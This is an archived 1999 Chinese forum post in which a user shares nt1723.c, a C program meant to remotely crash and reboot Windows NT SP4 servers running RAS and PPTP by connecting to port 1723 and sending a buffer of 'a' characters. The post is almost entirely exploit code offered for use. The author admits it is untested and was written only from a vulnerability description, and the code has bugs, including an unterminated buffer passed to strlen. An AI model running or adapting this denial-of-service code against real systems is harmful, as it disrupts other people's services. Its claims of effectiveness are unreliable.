精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>远程重启 winNt sp4!

主题:远程重启 winNt sp4!
发信人: zer9()
整理人: williamlong(1999-09-28 22:15:24), 站内信件
下面的程序可远程重启动安装了PAS&PPTP 的winNT sp4.
(port 1723 open)
不过我是根据弱点的描述写的,没有试过,
if(我的理解&&弱点描述)
    success!;
不论成功与否,tell me ,please.
                                   [email protected]
----Cut Here------------------------------------------------

/*              nt1723
 * rem0te reb00t winNt sp4 with RAS&PPTP
 *      test on slackware 2.0.34
 *       cc nt1723.c -o nt1723
 *               b y 
 *             z e r 9  
 *          [email protected]
 */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>

#define  FLOOD_PORT  1723

int main(int argc,char *argv[])
{
 struct sockaddr_in sin;
 struct hostent *nt;
 struct in_addr Target;
 int s;
 char sendbuf[256];
 
 printf("nt1723  by zer9  mailto:[email protected] \n");
 printf("usage: %s <Target>\n",argv[0]);
 if(argc!=2) return -1;
 if((nt=gethostbyname(argv[1]))!=NULL)
   bcopy(nt->h_addr,(char *)&Target.s_addr,nt->h_length);
  else
   Target.s_addr=inet_addr(argv[1]);
 if(Target.s_addr==-1)
  {
   perror("gethostbyname");
   return -1;
  }
 if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(FLOOD_PORT);
sin.sin_addr.s_addr=Target.s_addr;
if(connect(s,(struct sockaddr*)&sin,sizeof(sin))<0)
{
perror("connect");
return -1;
}
memset(sendbuf,'a',256);
send(s,sendbuf,strlen(sendbuf),0);
printf("flooded\n");
close(s);
return;
}

--
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.103.105.75]

[关闭][返回]